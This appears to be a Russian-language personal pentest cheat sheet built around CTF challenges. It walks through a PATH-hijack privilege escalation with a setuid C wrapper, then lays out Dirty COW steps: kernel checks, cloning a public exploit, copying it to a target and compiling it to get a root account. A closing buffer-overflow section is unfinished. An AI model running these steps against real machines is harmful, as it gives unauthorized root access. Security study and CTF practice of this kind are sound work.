---
# System prepended metadata

title: Атаки на инфру
tags: [Ошибка $PATH, Exploit, Dirty COW]

---

## $PATH имеет в себе путь /usr/home 
***Warning: Всё может поломаться. В системе отвалятся ls и cat (или ls и текстовый редактор), но до перезапуска оболочки***

### Условия выполнения:

1. Создание файлов в дирректории, рядом с флагом
2. Уз принадлежит группе, где флаг:
```
-r--------  1 app-script-ch11-cracked app-script-ch11   14 Dec 10  2021 .passwd
```
### Выполнение:
#### Исполнение на cat
**Подготовка:** 
```
#Поиск мест, которые нам доступны в системе. Там создадим файлик для $PATH:
find / -xdev -type d -writable 2> /dev/null
find / -type d -writable 2> /dev/null
```
Сам файлик с кодом, который нужно создать рядом с файлом-флагом:

Поменять путь system("ls /challenge/app-script/ch11/.passwd");

```
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}
```

Выполнить команды: 

```
#Скопируем cat из стандартного каталога для программ /bin, в /tmp под названием ls
cp /bin/cat /var/tmp/payload
#Теперь изменим переменную PATH, добавив туда путь к нашему ls(cat)
export PATH=/var/tmp/payload:$PATH
#СТАРТУЕМ
./file.sh
```

$PATH - сбросится после переподключения. Это переменная оболочки

#### Исполнение на vim

**Подготовка:** 
```
#Првоерка vim и nano
ls /usr/bin | grep nano
ls /usr/bin | grep vim
#Поиск мест, которые нам доступны в системе. Там создадим файлик для $PATH:
find / -xdev -type d -writable 2> /dev/null
find / -type d -writable 2> /dev/null
```


Сам файлик с кодом, который нужно создать рядом с файлом-флагом:

Поменять путь system("ls -lA /challenge/app-script/ch12/.passwd");

```
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
 
int main(){
    setreuid(geteuid(), geteuid());
    system("ls -lA /challenge/app-script/ch12/.passwd");
    return 0;
}
```
**Тут используется ключ -lA Он перевернёт всю строку. С ним не умеет работать cat, но умеет nano**
Выполнить команды: 

```
mkdir /var/tmp/my
cp /usr/bin/vim /var/tmp/my/ls
export PATH=/var/tmp/my/:$PATH
./file.sh
```

## Exploit Dirty COW

***Warning: Выполнить скрипт можно будет один раз. Поэтому, забыв пароль, можно забыть про этот вектор атаки :D***

### Условия выполнения:


Версия ядра linux < 4.8, 4.7, 4.4

Несколько версий из-за того, что уязвимость починили не сразу
Починили с помощью добавления флага FOLL_COW

Узнать версию ядра:

```
uname -r
uname -a
cat /proc/version
cat /proc/cmdline 
ls /boot | grep vmlinuz


hostnamectl
hostnamectl | grep -i kernel
```
### Описаине:

Уязвимость ядра linux

Dirty COW получает свое название от механизма копирования при записи (COW) в системе управления памятью ядра. Вредоносные программы могут потенциально устанавливать условие состязания, чтобы преобразовать отображение файла только для чтения в доступное для записи отображение.

В момент выполнения скрипта будет нужно ввести новый пароль. После выполнения скрипта будет создан новый пользователь: firefart, которому будут присвоены такие значения id

```
firefart@debian:~# id
uid=0(firefart) gid=0(root) groups=0(root)
```

Дальше останется только зайти под новым пользователем

### Выполнение:
Нужно закинуть папку и установить chmod +x

```
# Подготовка на kali:
ip="192.168.0.1"

mkdir ~/Attacks/DirtyCOW" && cd "~/Attacks/DirtyCOW" 
git clone https://github.com/firefart/dirtycow.git

scp -r ~/Attacks/DirtyCOW user@$ip:/home/user/temp

ssh user@$ip

# На атакуемой машине:

chmod +x dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
```
## Переполнение буфера

Буфер - динамически выделяемая область памяти для хранения временных данных

Переполнение Буфера - вид уязвимости, когда программа записывает данные за пределы выделенной памяти, вызывая при этом сбой программы или выполнение вредоносного кода

![](https://hackmd.io/_uploads/Hy33ehJin.png)

Под данные выделено N байт, а пользователь пытается засунуть в данные 5 байт. Тогда ОС выходит за "рамки" и цепляет другие переменные

***Размер данных всегда нужно проверять перед помещением их в буфер***

Типы атак:
1. Stack overflow - атака переполенния стека
2. Heap overflow - атака переполнения кучи
3. Format overflow - атака форматирования строки

### Stack overflow
   
Стэк: 

1. Хранит аргументы и значения переменных функций
2. Последний пришёл, первый ушёл
3. Растёт от высших адресов, к нисшим. 

***Регистры процессора***
1. ESP - Extended Stack Pointer - вершина стэка
2. EBP - Extended Base Pointer - доступ к данным в стэке
3. EIP - Extended Instruction Pointer адресс следующей инструкции для выполнения

Если получится перезаписать EBP, то программа не сможет выполнять инструкции правильно













###Heap overflow
###Format overflow